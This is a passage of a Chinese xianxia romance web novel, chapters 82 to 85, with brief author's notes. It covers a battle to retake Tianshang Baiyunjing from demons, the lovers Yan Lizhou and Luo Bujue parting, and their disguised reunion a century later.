“你又!早跟你说过不能再轻易动用妖力!那功法的反噬一次比一次凶险,你再这样下去!” 燕黎舟蹙眉,深深呼出一口气。 “我没事。” “没事个嘻嘻你没事!”嘻嘻气得咬牙。 “这话你说几次了,哪一次没事?” 你每次都这么说,再这样下去,我怕……” 它没有说下去,但燕黎舟明白它的意思。 怕他这表面上强大的身体,不知在哪一次战斗或者是修炼时彻底崩溃。 “我知道。” 燕黎舟打断它的话,不想过多的在这个话题上和嘻嘻掰扯。 “黑金。”燕黎舟道。 下一秒,一个一身黑色的人影悄然出现在燕黎舟身后。 燕黎舟头都没回,盯着手里沈齐寄过来的那封书信上的字。 “召集一下人吧。” 嘻嘻这才往那封书信上凑,随即震惊,然后又压下自己的情绪抬头看向燕黎舟。 这人面无表情,身后的人也是,听到燕黎舟的话,冷冰冰地甩出一个“是”。 沈齐送过来的信件上,书信上只有四个字。 ——【机不可失!】 夜。 燕黎舟站在天上白云间面前,周围夜色浓重。 门的关卡有两个魔族,看见燕黎舟瞬间举起手里的斧头对着来人。 “谁,来干什么!” 只是在问出口的下一秒,就被人抹了脖子。 燕黎舟手上挥动着扇子,脚步未停,见到这一幕面无表情,眼睛眨都没眨一下。 沈齐就在这时来到燕黎舟身边。 燕黎舟擦着手上的扇子:“洛不觉怎么样了?” “情况好很多了。” 燕黎舟闻言神色黯淡了一下,随后又打起精神看着面前。 虽然占据了此地多年,但魔族并未在此大兴土木,依旧保留着天上白云京的原貌。 这很利于沈齐他们对于地形的熟悉。 “有袭击!” 凄厉的钟声刚刚响起就被更猛烈的攻击声淹没。 燕黎舟一马当先,无妄扇展开,不再是平日里收敛的模样。 浓绿色的妖力所过之处,魔兵如同被收割的麦子般倒下。 燕黎舟的动作狠辣决绝,每一击都直取要害,硬生生把魔军杀出来一道口子。 沈齐的身影出现在另一侧,剑光凌厉,带着凛然的正气,与燕黎舟的妖气不同。 紧随其后的妖族精锐和人族修士合作,按照事先布置好的战术。 分割。 包围。 歼灭! 燕黎舟从始至终神色都淡淡的,任由天上白云京再次变成人间炼狱。 “好大的胆子,来我魔族阵地撒野!” 一名魔族将领怒吼着冲来,魔气冲天。 燕黎舟不闪不避,无妄扇直劈而下! “轰!” 妖气和魔气两股狂暴的能量对撞,那魔族将领竟被硬生生震退数步,眼中满是惊骇。 他无法理解,这个妖族为何拥有如此可怕的力量。 燕黎舟喉头一甜,强行将涌上的鲜血咽下,攻势却愈发狂暴。 就在他准备一鼓作气斩杀这名魔将后,一道慵懒的声音从周围慢悠悠地响起,却清晰地传入每个人和妖的耳中。 “本座当是谁敢来撒野,原来是燕前辈和沈掌门?” “稀客。” 半空中魔气不断翻涌着,谢灯的身影凭空出现,他依旧是一副面无表情的模样。 与此同时,他的身边沃若的身影袅袅娜娜地显现。 他巧笑倩兮,站在谢灯身边,指尖缠绕上谢灯落在身侧的头发,目光却是黏腻地落在燕黎舟身上。 语气带着令人不适的亲昵:“哥哥,是想沃若了吗?” 暴楚楚站在另一侧,周身散发着生人勿近的凛冽杀气。 她甚至没有看燕黎舟和沈齐,只是冰冷地吐出一个字。 “杀。” “不要废话。” 后面这句是她警告沃若的。 沈齐面色前所未有的凝重,手里的剑不断颤抖着发出剑鸣。 他低喝一声:“结阵!” 随他而来的几名仙界精英立刻身形闪动,与他结成一座小型剑阵。 沃若对暴楚楚的警告不以为意,轻笑一声,手腕一抖,数道缠绕着魔气的锁链刁钻地射向剑阵最薄弱之处。 与锁链一同的还有着诱惑人心的呢喃声。 “静心!” 沈齐厉喝,食指和中指夹着的一道清心符箓瞬间燃烧,化作飞灰。 同时挂着红色剑穗的剑飞起,如孔雀开屏般展开,精准地斩向那些锁链。 发出“叮叮当当”的脆响。 另一边,暴楚楚冲向不远处的妖族聚集处,手掌直直朝着众人拍过去。 砰!砰!砰! 几名妖族精锐甚至没能看清她的动作,便被直接拍飞出去,瞬间失去战斗力。 暴楚楚轻哼一声,转身,无数妖族出现在她身后。 她有些不爽地眯了眯眼睛,活动了一下手腕。 “啧。麻烦。” 而战场的中心,却呈现出一种诡异的平静。 燕黎舟与谢灯遥遥相对。 没有废话,没有试探。 谢灯只是缓缓抬起了手,五指微张,对着燕黎舟虚虚一按。 刹那间,燕黎舟只觉得周身空间仿佛被冻结,无穷无尽的压力从四面八方挤压而来,要将他碾成齑粉! 他脚下坚硬的玉石地面寸寸龟裂,燕黎舟却面上表情不变。 浓郁的绿色妖气裹挟着无妄扇朝着谢灯飞过去。 谢灯有些惊讶,但也只是伸出两根手指,精准无误地夹住了无妄扇的扇面。 雾气瞬间从扇子蔓延开到谢灯周围。 燕黎舟这才勾了勾唇角,脚陷进地板里,用力拔出来,轻哼抬眸。 “我很好奇你会梦到什么?” 嘻嘻的雾气也只是裹住了谢灯几秒,霎时谢灯的手就从雾气里面伸出来,像是撕裂般将雾气从中间撕开。 漏出谢灯那张面无表情的脸。 “燕前辈,你真的很强。”—— 作者有话说:终于要结束打斗了[害羞][亲亲] 完结的话还差一点,不多了![星星眼] 感谢各位!么么么么么么! 周末愉快! 第83章 谢灯语气听不出是赞赏还是陈述, 夹着无妄扇的手指微微用力。 燕黎舟没动,他看见下一秒,一把剑从谢灯身后穿过来。 汲子石手中紧握着一柄不知从何处拾来的剑, 剑正正好好插进谢灯胸口。 谢灯的身体僵硬住, 他缓缓低下头, 看着自己胸前透出的剑尖, 暗红色的血液迅速浸湿了衣袍。 他有些恍惚。 谢灯夹着无妄扇的手指, 无意识地松开了些力气,无妄扇自主地回到自己主人的手里。 汲子石一击得手, 仿佛耗尽了所有力气, 松开剑柄,踉跄着跌坐在地。 他望着谢灯的背影,眼神空洞, 嘴唇翕动,却发不出任何声音。 谢灯没有回头。 他甚至没有去管胸前那贯穿的伤口,目光从胸前的剑尖,移到了面前的燕黎舟脸上。 “呵。” 沃若和暴楚楚两人注意到这边的动静, 见状心照不宣地对视一眼, 齐齐消失在原地。 谢灯对那两人的离去恍若未觉, 暗红的血液不断从他胸前涌出,顺着衣袍滴落,在脚下积成一小滩。 可他依旧站得笔直。 身后跌坐在地的汲子石望着谢灯的背影,空洞的眼神里逐渐漫上一丝绝望。 他张了张嘴, 终于发出声音:“为,为什么……不躲?” 像是在问谢灯,又像是在怀疑自己。 以谢灯之能,岂会察觉不到他那一剑? 汲子石本是抱着必死之心刺出, 求一个解脱,或是激怒对方给自己一个痛快,却万万没想到会是眼下这般情形。 谢灯听见汲子石的话,身子终于动了。 他缓慢地转回头,目光落在了汲子石惨白的脸上。 那目光里没有恨,没有怨,甚至没有责备,只有一片近乎漠然的平静。 半响勾了勾唇角。 “师尊想要的,我必然双手奉上。” 汲子石浑身剧颤,整个人如同被抽走了脊梁骨般瘫软下去。 唯有肩膀在无法控制地轻微耸动。 谢灯抬手将身体内的剑逼出去,指尖萦绕起一缕魔气,轻轻拂过胸前狰狞的伤口。 伤口以肉眼可见的速度开始愈合。 “只是师尊。” 谢灯微微低下头。 “苦了师尊。” 说完他的身子慢慢倒下,视线一直在汲子石身上,手指无力地蜷缩着。 “徒儿还是适合回到以前,师尊这次应该不会来救徒儿了吧。” 谢灯虚弱道,果不其然,汲子石身子又猛的颤了一下,像是只受了惊吓的刺猬,将自己缩成一团。 只是汲子石和刺猬不同,汲子石只有他,没有刺。 沈齐指挥着几个人把谢灯给扣上,转头对着燕黎舟点点头,然后继续收拾其他残留的魔族。 燕黎舟想动却发现自己四肢僵得死死的,身体像是死掉了很久一下动弹不得。 “你怎么了?” 嘻嘻率先发现燕黎舟的异常,好半会儿燕黎舟才重新拿回自己身体的控制权。 他低头愣愣的看着自己的手心。 症状又加重了。 但很快他就把自己的想法丢到一边,指挥着妖族跟随沈齐一起把剩余的魔族清理干净。 沈齐指挥着人将被关起来的其他师兄弟救出来,安排人检查他们的身体。 旁边薛三钱一直关注着燕黎舟,在众人终于把天上白云京的魔族消灭的七七八八后,上前伸手把上燕黎舟的脉。 皱眉。 “奇怪。” 燕黎舟则是不动声色抽回手:“我没事,你去帮沈齐他们吧。” “不用管我。” 薛三钱眉头紧锁,还想再说什么,但见燕黎舟一脸平静,转身去到其他地方。 燕黎舟背对着众人,垂在袖中的手微微颤抖着。 经此一战,魔族阵营大伤。 沈齐收拾干净天上白云京后,还在研究其他宗门的情况。 清除魔族进行的很顺利,这一年经过燕黎舟在中间,人类和妖怪关系终于不再剑拔弩张。 燕黎舟不感兴趣,他将后续的琐事尽数交由沈齐和黑金处理,自己则是回去找洛不觉。 洛不觉安静地靠在床上,手里翻看着一本书,听见动静那双清冷的眸子缓慢地抬起来。 “结束了?” 燕黎舟脚步很轻,走到床边,静静地坐下。 这才嗯了一声。 “在看什么?” 洛不觉直接将书合上递给燕黎舟。 然后趁着这个时机仔细端详燕黎舟,眉头微蹙起来。 眼前的燕黎舟,脸色苍白得过分,嘴唇也白,周身气息安静。 “你受伤了。” 洛不觉的语句是肯定的,而非疑问。 他伸出手,指尖微凉,轻轻探向燕黎舟的腕脉。 燕黎舟下意识地想缩手,却又定住。 指尖搭上脉搏,洛不觉的眉头蹙得更紧。 他修为尽失,感知大不如前,摸着燕黎舟的脉也确实没发现什么问题。 “旧伤,无碍。” 燕黎舟试图抽回手,语气轻松,却避开了洛不觉的目光。 洛不觉没有强求,收回手,沉默了片刻。 窗外夕阳的余晖透过窗棂,为两人都蒙上一层暖光。 燕黎舟不想现在就沉默下来,伸出手,指尖小心翼翼地触碰洛不觉放在身侧的手背。 他觉得他的心像是被这洛不觉手上的温度烫了一下,内心泛起巨大的满足。 燕黎舟见洛不觉没有拒绝,便小心翼翼地,用自己的指尖轻轻勾住了洛不觉的,动作明显带着试探。 洛不觉顿了一下,依旧没有抽离。 他垂眸看着两人交叠的指尖,燕黎舟的手指比他更纤细些,温度也更凉一些。 “手这么凉。” 洛不觉低声说,语气听不出什么情绪。 燕黎舟勾了勾唇角,想扯出一个无所谓的笑,却觉得可能是没有可信度,于是手上握得更紧了些。 “沈齐说,天上白云京需要时间重建。” 他换了个话题。 “很多阵法被魔气侵蚀,需要慢慢净化。” “嗯。” 洛不觉应了一声,对此似乎并不太意外,也并不十分关切。 他沉默了一下,忽然问道:“你那个春城?” 春城是这一年燕黎舟自己建立起来的妖族势力。 这一年,春城的名号越来越响,燕黎舟在妖族也有了一定的号召力。 “还好。” 燕黎舟点头,语气里带上了一丝骄傲。 他和洛不觉简单描述着春城的近况,说着这些在他庇护下安居乐业的妖怪们。 “听起来不错。”洛不觉低声评价了一句。 燕黎舟因他这句肯定,眼底的光亮更盛了几分。他正想再说些什么,门外传来了轻轻的叩击声。 “黎主。”是黑金的声音。 燕黎舟眉头一蹙,迅速收敛了外露的情绪。 “何事?” 黑金眨眼间就来到燕黎舟身后,凑到他耳边说了什么。 洛不觉的目光自始至终都在燕黎舟脸上,对方也是。 “我知道了。” 好半会儿,燕黎舟才垂下眸子,说了这么一句。 他起身:“我出去一趟,你听李丹师的话,最近不要下床。” 燕黎舟随着黑金来到天上白云京主殿,宗门议事的地方。 如今虽经清理,仍透着几分的冷清,尽管燕黎舟也没觉得它之前有多热闹。 进去之前,黑金又喊住燕黎舟。 “黎主,现在魔族已经清理干净了,剩下的妖怪们都在等着您回去。” 燕黎舟顿了一下,缓缓吐了口气,没有回答直接进到大殿里。 沈齐负手立于窗前,听见动静回头。 燕黎舟盯着沈齐,不发一言,黑金自始至终都如同影子般静立在燕黎舟身后。 “来了。”沈齐道。 “坐。” 燕黎舟随意走到一把看上去干净完好的椅子上坐着。 “沈大掌门。”燕黎舟这话说的极不客气。 “用完我了想一脚踹开?” 他挑了下眉,轻笑。 沈齐也不恼,只是道:“感谢你们对人类的帮助。” 燕黎舟不置可否。 他坐在椅子上,姿态看似随意,指尖却无意识地在扶手上轻轻敲击了一下。 一脸平静,他没有立刻反驳,只是静静地看着沈齐,仿佛在等他继续说完。 沈齐迎着他的目光,语气平和。 “燕道友,我并非过河拆桥。你此次相助,云京上下铭记于心。” “但你也清楚,人妖终究殊途。” “洛师弟为你付出的够多了。” “春城如今势力渐涨,若与云京过往甚密,难免惹来妖怪非议。妖怪们崇强,要是知道你和人类走太近。” “于你,于春城,乃至于刚刚缓和过来的我们,都非益事。” 他顿了顿,声音低沉了几分,带着一丝不易察觉的复杂情绪。 “洛师弟已经很难了,我不希望他再因你们两个族群有别而再次陷入两难。” “甚至……成为众矢之的。” “我希望他安心修养现在的身体。” “希望黎主理解,尽量不要和洛师弟一同出现在众人面前,也不要让其他人知道你和洛师弟的关系。” 沈齐这番话,可谓是将利弊与情感都摆在了台面上。 燕黎舟没反驳,轻嗤一声。 掌心拍了拍扶手,借力站起来:“沈齐。” 这是燕黎舟第一次直呼沈齐大名,语气平淡。 “不愧是天上白云京掌门,看得就是远,比我一个小妖怪考虑的多的多。” 燕黎舟轻点头,对沈齐道。 他微微扬起下巴:“不知道知道你们人类那群老古董又说了什么。” “春城它是我燕黎舟的地方,若有人心生不满,或妄图干涉。” 燕黎舟没说完,可其中的意思不言而喻。 他上前一步,虽身形比沈齐略显单薄,气势却丝毫不弱。 他呼出一口气,才有提到洛不觉。 “沈掌门,有关于洛不觉,确实是我不懂事了。” “放心,不会让沈掌门太过为难。” 说完,燕黎舟不再给沈齐开口的机会,径直转身。 “黑金,我们走。” “是,黎主。” 主仆二人一前一后,离开云京。 沈齐站在原地,望着空荡荡的大殿,许久,才缓缓吐出一口气,揉了揉眉心,脸上疲惫更深。 他不知道这样做对他,对洛不觉和燕黎舟是好是坏,但想着白日里那些仙家看见妖怪时一个两个三个的话。 洛不觉现在身体才刚刚有所起色,但没有了修为,那些人不再畏惧洛不觉,会对洛不觉会做什么,说什么。 他不得而知,也不敢想。 只当是他错了吧—— 作者有话说:[烟花][烟花][烟花][烟花] 结束打斗的场景啦[烟花][烟花] [抱抱][抱抱][抱抱][抱抱] [哈哈大笑][哈哈大笑][哈哈大笑][哈哈大笑] 希望盐粒子以后少打架,每次对着屏幕想动作想到头麻掉[小丑] 第84章 天上白云京的灵气日渐复苏, 虽不复往日鼎盛,却大部分魔气残留都驱散得差不多了。 洛不觉被接回了他昔日的居所。 他的身体恢复得很快。 燕黎舟时常来看他,偶尔带着陆乐水刚长出来一茬的果子, 但更多时候就只是静静地陪洛不觉坐在院中, 看云卷云舒。 夕阳落下, 将天边染成一片暖橘色, 漂亮的不像话。 燕黎舟将一本薄薄的册子轻轻放在了洛不觉身前的石桌上。 “这个给你。”他的声音很平静。 洛不觉视线落在上面, 册子封面无字,一片白色, 不知道翻开什么样。 他并未立刻去碰, 而是抬眸看向燕黎舟。 光似乎特别偏爱他,余晖在燕黎舟侧脸渡上了一层柔光,琥珀色的眼睛透的干干净净。 “你身体养的差不多了, 以我们洛大剑尊的资质,应该很快就又能称霸一方了吧。” 燕黎舟笑嘻嘻道。 洛不觉依旧沉默着,他伸出手,指尖在空中停顿了一瞬, 最终还是稳稳地落在了那本册子上。 “嗯。” 他应了一声, 声音比平时更哑些。 燕黎舟看见那人清冷的眸子里映着他的身影, 喉咙忍不住上下滚动了一下。 他扯了扯嘴角,想露出一个笑,但最终也只是抿了下唇,嘴角微微向下搭着。 就在这时, 洛不觉突然伸手拉住燕黎舟的手腕。 燕黎舟一顿,却没有挣脱。 腕间传来的温度很轻,他垂眼,看着洛不觉那只手。 手指虚虚圈着他的手腕, 仿佛他喊一句疼这人就会松开。 “还有事?”燕黎舟问,声音放得比平时更软些。 洛不觉那么聪明的一个人,肯定会察觉到他的心思。 燕黎舟不知道怎么说。 “为什么你要离开?我不在乎什么人妖有别……” “那是你洛大仙师!” “要是我在你这个位置,那我也大可说一句我不在乎,我自然也可以同你一样为了你放弃我自己。” “可我是妖怪,这改变不了,洛不觉,我不想你放弃自己。” 当然以上都是燕黎舟自己想的。 想象中他们之间应该是爆发剧烈的争吵,然后他甩袖离开。 两人不欢而散。 只留下洛不觉那个老古董独自难过,伤心他们这短暂的友情。 可现实是什么事情都没有发生。 洛不觉也只是抓着燕黎舟的手腕,诸多话语都只变成一句。 “今晚就走了?” “嗯。” …… 一百多年后。 在某个客栈茶棚里。 几个行路商人凑在一桌,低声交谈着。 甲一神神叨叨: “听说了吗?北境的风水岭也被那位拿下了。” 旁边的一个人装模作样瞅了眼四周,压低声音。 “叫黎主!真是胆子大。现在南境,七八成的妖怪都尊黎主号令了!” 乙二摇了摇头,一脸唏嘘。 “啧啧,这才几年,当初谁能想到,一个草精能成长到如此地步?。” 丙三哼了一声,警告道。 “还敢叫草精,叫妖怪听见。如今在外面提起春城,谁敢不敬三分?” “怕什么,现在人妖共存,他们妖怪不敢把我们怎么样。” “再说了,我们不还有洛仙师嘛!” 听到“洛仙师”三个字,这一桌的人都十分尊敬。 “要说俺们洛仙师那可真是争气,三族一战之后,洛仙师一身修为被毁,任谁来都已经是个废人了。” 丁四一脸崇拜:“那可不是,洛仙师硬是在这一百年里重新开始,修炼速度比那些自诩天之骄子的人快多了。” “就是啊,之前那么多人说什么洛仙师成名太早,放到现在出一个天之骄子就和洛仙师比,现在好了。” 说话的甲一拍了拍自己的脸,声情并茂的:“啪啪打脸。” “哈哈哈哈哈哈哈!” 甲一这时又继续八卦:“哎,听说最近风京的那位家族被妖怪灭门了……” “呵,我就说人妖不能共处吧!你看你看!” “这才一百年,妖怪就是改不了吃人!” 在这个客栈靠着窗户的一桌,一个戴着宽檐斗笠的客人,静静地坐着听他们玩笑的话。 斗笠遮住了他大半容颜,只露出线条流畅的下颌和淡色的唇。 他手里把玩着茶杯,握着茶杯的手指节修长,在听到某个名字时微微一顿。 指尖无意识地在温热的杯沿上缓缓摩挲,一圈,又一圈。 听到周围的人话题转向别处,不再提及那个名字时,他摩蹭杯沿的指尖才缓缓停下。 杯中茶水早就凉了个透彻,他自始至终都没有饮过一口。 最终这人放下几枚铜钱在桌上,发出轻微的脆响,起身。 宽大的素色袍袖随着动作轻轻摆动,身姿挺拔,哪怕看不到脸依旧觉得这人气度不凡。 “哎,这人谁啊。”乙二瞅着这个离开的背影和旁边的人小声八卦问。 丙三抬眼看了一眼,呸出嘴里的瓜子。 “你不知道啊,这人隔三差五就来一次,不知道干嘛的,每次就坐着点壶茶,不吃也不喝,坐一会就走。” 丁四在一旁附和:“是啊,我在其他几个客栈也看见过他,每次都是这样。” 乙二哦了一声,点评:“那这人还挺无聊的。” “是吧。” 天上白云京。 洛不觉刚回来,就见某只吃饱喝足了的紫红小鸟冲他飞过来,圆圆的脑袋上还顶了一粒种子。 洛不觉伸手抓住,指尖拂过糖饼的脑袋,将那粒种子摘了下来,轻声唤。 “糖饼。” 糖饼抖了抖羽毛,柔软的绒毛蹭着洛不觉掌心,寻了个舒服的位置,缩着脖子安静下来。 没有像往日那般,一见到他就急切地“啾啾”叫着,小脑袋跟着转来转去。 洛不觉托着它,缓步走在回房间的路上。 沿途弟子依旧恭敬行礼。 一百多年,一切又回到了最初燕黎舟没出来过的模样。 宽敞的房间如今显得有些拥挤,每个地方都摆放着各式各样的花盆。 但无一例外,里面都是空的。 洛不觉的目光掠过这些空置的花盆。 常坐着的檀木桌子上还摆着一个半成品,那是他昨夜新做的。 这些天,他尝试着在花盆上去雕一些缠枝的花或者是其他漂亮的纹路。 陶瓷店老板说的对,洛不觉再做陶上面还是有一定天分的。 花盆壁上面雕刻的图案花叶舒展,栩栩如生极尽妍丽。 但是洛不觉总觉得他做的盆子太过素净。 于是做了一个又一个,导致现在它们把房间填的满满当当。 糖饼就安静的在洛不觉肩头歪头看着他做,时不时啾一声。 下午洛不觉授课回来的路上碰见了沈齐。 “师兄。” 他微微颔首,算是打过招呼。 沈齐看见洛不觉,笑了笑:“下课了?” 洛不觉“嗯”了一声,没有多言,转而问道:“师兄行色匆匆,所为何事?” 沈齐叹了口气,脸色凝重起来:“接到消息,风京木家满门被灭了。” 洛不觉眉头轻蹙:“木家?” 那是风京的一个颇具声望的修仙世家,虽不算顶尖,但也绝非寻常势力能动。 “现场残留着浓烈的妖气,手段极为残忍。” 沈齐语气沉痛:“如今消息已经传开,各方震动,百年来好不容易缓和的人妖关系,恐生剧变。” 洛不觉沉默片刻,问道:“可查明是何方妖族所为?” “尚未有确凿证据指向具体部落,但妖气源头似乎指向南境。” 沈齐揉了揉眉心。 “如今妖族大半归附春城,此事一个处理不好,极易引发更大的冲突。” “我正想要召集几位长老,派一队人前往调查……” 他话未说完,洛不觉便打断了他。 “我去。” 沈齐一愣,看向他:“你?” 洛不觉坚定:“我去吧师兄。” 沈齐看着洛不觉,他了解自己这个师弟,平日里清冷少言,一旦做出决定,便极少更改。 他沉默良久,最终化作一声无奈的叹息。 “罢了,你去也好。” 沈齐妥协道:“但务必小心。查明真相为首要,切勿冲动,若事不可为,立刻撤回,保全自身为上。” “知道。” 洛不觉说完,转身要去准备是,沈齐就将人喊住。 “若是查明是妖怪所为,也不要打草惊蛇,恐其中万一有什么隐情,尽量隐藏消息避免传播出去。” 与此同时。 一辆外观奢侈,四匹墨鳞马拉着的黑色马车平稳地行驶着。 马车以罕见的紫檀木打造,雕花繁复,车顶镶嵌着日华石,车帘是用千年冰蚕丝织就,在阳光下流转着柔和的光。 整个马车宛如一座移动的小型宫殿。 黑金驾驶着马车,脸上带着同样黑色的面具,上面花纹好看繁华。 燕黎舟设计的。 马车内,燕黎舟靠坐在铺着柔软雪貂皮的软垫上,双眸微阖,指尖无意识地把玩着一块玉,看成色也知道是上品。 这人闭目养神,长长的睫毛在眼下投下淡淡的阴影。 若非必要,他绝不御空飞行。 前方突然窜出十几道身影,手持明晃晃的兵刃,拦住了他们的去路。 “呔!此山是我开,此树是我栽,要想从此过,留下买路财!” 为首一个满脸横肉的彪形大汉,吼着熟悉的劫匪专业话,目光贪婪地盯着的豪华马车。 富贵险中来,如今实力稍稍厉害的人都选择乘坐飞行器,哪里会有坐马车的。 只有一些富贵人家的废物小少爷这样做罢了。 这样想着,为首的大汉嘿嘿的笑了两声,虽然不排除他们会带个厉害的护卫,但真正实力厉害的人哪里会情愿只当个护卫,不都是被大家族供起来。 更何况只有驾驶马车的一个小子,他们这么多人,难不成还怕? 黑金勒停马车,目光扫过这群不知死活的凡人。 车厢内,燕黎舟缓缓睁开眼,眸子里闪过一丝被打扰的不悦,他甚至连帘子都懒得掀。 劫匪头子看对方没动静,以为是把他们吓傻了,更加得意,提着刀就往前走。 “怎么?吓得不敢出来了?乖乖把钱财宝物交出来,爷爷们还能饶你们一命!”—— 作者有话说:哈哈哈哈哈,我现在写完的这一章真让我开心!(不是这一章) 哈哈哈哈哈,手速嗖嗖的,头一回,妈呀,边写边咧嘴角。 可能我现在的笔力还写不出来我想要表达的,但我保证现阶段尽可能地去写爽[害羞][害羞][害羞][害羞] 第85章 燕黎舟连眼皮都未抬, 淡淡地嘱咐黑金:“不要浪费时间,清理掉。” 他话音未落,外面便传来了惨叫声, 显然是黑金已经动手。 这些不开眼的劫匪, 连给黑金热身都不够格。 然而, 打斗声中忽的激起一片灵气荡到燕黎舟面前。 燕黎舟几乎是立刻就睁开眼, 然后一把掀开了车帘。 只见不远处, 熟悉的白衣身影,那几个不长眼的劫匪在他面前, 软趴趴地倒在地上。 那人背对着马车, 身姿挺拔如松,墨发仅用玉冠束起,随着他的动作, 发梢在微风中轻轻晃动。 解决完劫匪,洛不觉目光自然而然地落在了那辆马车上。 燕黎舟提前一步又把车帘拉上,捂得死死的。 两秒后猛的反应过来,自己干嘛这么心虚啊, 他又不是什么见不得人的东西。 车帘紧闭, 看不清内里情形, 洛不觉看着驾车的那名戴着面具的侍卫,显然并非普通仆从。 黑金也认出来洛不觉,但看着燕黎舟没有出来的意思,立刻心领神会, 身子挡在车厢门前,对着洛不觉微微颔首。 黑金用刻意改表过的声音道:“多谢阁下出手相助,我家主人身体不适,不便见客, 还请见谅。” 洛不觉闻言,目光在紧闭的车帘和黑金的身上停留了一瞬。 他能感觉到车厢内有一股若有若无被极力收敛的妖气,但这妖气与他记忆中那个熟悉的气息对不上。 对方既然不愿露面,他也不好强求。 “举手之劳。” 洛不觉淡淡回了一句,不再多言,转身便欲离开。 车厢内,燕黎舟从自己储物袋里扒拉出一张人皮面具。 原本精致过分的五官,被面具遮得平凡,唯有那双琥珀色的眼眸无法遮掩。 他整理了一下衣服,悄悄拉开一点帘子,看见的却是洛不觉要离开的背影。 燕黎舟撇了撇嘴。 白色的背影渐行渐远,他松开攥着车帘的手指,布料无声滑落,重新隔绝了内外。 “眼睛白长了。” 他暗骂。 几年不见,连人都认不出来了。 车厢内光线重新变得昏暗,燕黎舟脸上那张平凡无奇的人皮五官更显僵硬。 “黎主?” 黑金的声音从车外传来,带着询问。 燕黎舟伸手又将自己脸上刚待上的面具摘下来扔到一边,闭上眼深吸一口气,再睁开时,眼底的情绪已被尽数压下。 “没事。”他声音平稳。 “继续赶路。” 马车再次缓缓启动。 燕黎舟下意识地运转了一下妖力,经脉传来的细微刺痛让他忍不住蹙眉。 想洛不觉刚刚,应该是身体好了。 “没良心!”他又骂。 驾驶马车的黑金:“。” 风京的缘来居客栈,虽然是人族的地盘但因为是商户繁荣的地方,往来客商多,偶尔也有些妖怪入住。 只要守规矩,店家也就睁一只眼闭一只眼。 燕黎舟干脆将整个客栈都包了下来,不仅是因为清净。 他有钱。 黑金上去二楼布置,只留下燕黎舟和小二在一楼。 燕黎舟又把那张人皮面具给戴上了,姿态放松,俨然一副富家公子的模样。 钱养人。 哪怕燕黎舟此刻样貌并不起眼,只能称得上一句顺眼,配上锦绣金袍和一身看着就价值不菲的小物件,衬得这张脸都帅气了不少。 他面前摆着一桌子菜,但真正能让他动筷的却没几个。 就在他百无聊赖的戳着盘子里的菜时,忽然一道熟悉的身影进入视线里。 对方一身素色华服,漂亮的云纹和水波纹交错,蓝白丝线在阳光下闪着亮光。 依旧是燕黎舟眼熟的装扮。 两人的目光撞在一起,燕黎舟迅速垂下眼帘,端起茶杯,掩饰性地啜饮一口。 洛不觉却是没什么异常,旁边的小二立马过来。 满脸歉意:“不好意思,我们客栈最近没有位置了,劳烦仙师去别家吧。” 洛不觉看着周围空无一人只有燕黎舟坐着的一楼大堂。 燕黎舟几乎是在洛不觉再次看过来的时候本能地想要低下头,避开那道视线,但又硬生生止住了。 他强迫自己维持着自然的姿态,仿佛自己刚刚只是被门口的动静吸引,很随意地抬眼望了一下。 最后缓缓收回了目光,重新专注于面前的茶杯。 燕黎舟忍住自己想要轻咳这样能引起注意的动静。 一套欲盖拟彰的组合拳下来,燕黎舟觉得自己表现得简直无懈可击。 可以欺骗任何人的演技。 燕黎舟这般想着,甚至端起茶杯,又慢条斯理地啜了一口,将“我只是个有钱且无辜的普通商人”这个形象牢牢钉死。 然而,他嘴里的茶还没咽下去,就听见洛不觉清冷的声音再次响起。 这次是对着那满脸歉意的小二。 “无妨。我看那位公子一个人也无聊。” “不知可否行个方便,容我拼个桌?费用我会付清。” “噗——咳咳咳!” 燕黎舟一口茶还没咽下去,直接被这话惊得呛到,一阵咳嗽! 他慌忙放下茶杯,捂住了嘴,咳得眼泪都快出来了,方才那点子“无懈可击”的镇定瞬间碎成了渣渣。 他这边咳得天昏地暗,那边洛不觉却只是静静地看着他,然后等着他咳完问。 “可以吗?” 小二显然有些为难,看了看燕黎舟又看了看洛不觉,搓着手不知如何是好。 毕竟谁也不会想要去得罪一个修仙者,万一这个客人也想,自己贸然开口岂不是会坏了客人的好事。 燕黎舟好不容易止住咳嗽,抬起被呛出泪花的眼睛,这倒让那双琥珀色的眸子显得更加湿润明亮。 对上洛不觉的视线,燕黎舟心脏狂跳,脑子里一片混乱。 半响压下情绪,看着面前不动声色的某人,对方什么事都没有,自己却跟做贼一样。 燕黎舟摸了摸自己的脸,感受到指尖触碰到的胶质感觉,眼睛眯了下。 几乎是瞬间就想到了捉弄人的想法。 而洛不觉就只是静静的等着燕黎舟开口,没有丝毫不好意思。 燕黎舟扬起一个微笑:“当然。” “洛仙师不嫌弃就好。” 洛不觉:“你认识我?” 燕黎舟眯眯笑。 “见过画像,谁不认识我们洛大仙师啊。” 洛不觉微微颔首,道了声“多谢”。 周围空座那么多,偏偏就挑在燕黎舟对面的位置坐了下来。 洛不觉点了一壶清茶然后便不再多言,目光平静地投向窗外,仿佛真的只是找个地方吃饭歇脚。 “不过天上白云京的洛仙师,怎么到这儿来了。” 燕黎舟手里拿着那杯茶打量着洛不觉。 洛不觉:“因为木家,阁下有什么线索吗?” 燕黎舟拿着茶杯的手一顿,将杯子轻轻放下。 “啊,不了解。”他道。 “还没问,阁下叫什么名字?” 燕黎舟皮笑肉不笑,随意摘了几个字组在一起。 “游子安吧。” 燕黎舟丝毫没有自己乱起的自觉,说名字就说吧,非要在后面加一个“吧”,没有一点撒谎该有的心虚。 “很好听。” 洛不觉语气平淡,听不出来是真心还是客套。 燕黎舟嘴角抽动了一下。 真好听?他随便瞎编的。 这人还是一如既往的一本正经,连客套话都说得这般,反倒让他这编名字的有些无所适从。 他看着洛不觉那张清冷禁欲的脸,一个恶劣的念头像是水底的泡泡咕嘟咕嘟就冒了出来。 燕黎舟猛的丢下自己手里的筷子,动作快得让洛不觉都没来得及反应。 倾身向前,一把握住了洛不觉放在桌面上的手,在对方有些愣的眼神中,诚恳开口。 燕黎舟脸上堆满了夸张的神情,另一只空出来的手捂住自己的胸口位置。 “仙师有所不知,小的是您的崇拜者。” 洛不觉显然没料到他突如其来的举动,身体僵了一下,眸子里闪过一丝错愕。 “仙师有所不知。” 燕黎舟又道,紧紧握着那只手,生怕他抽回去。 “我家里现在还供着您的画像呢!我每天那是日日上香,夜夜祈祷,就盼着有朝一日能见您一面!” “今日得见仙颜,我……我死而无憾了!” 他一边说着,一边还用拇指下意识地摩挲了一下洛不觉的手背。 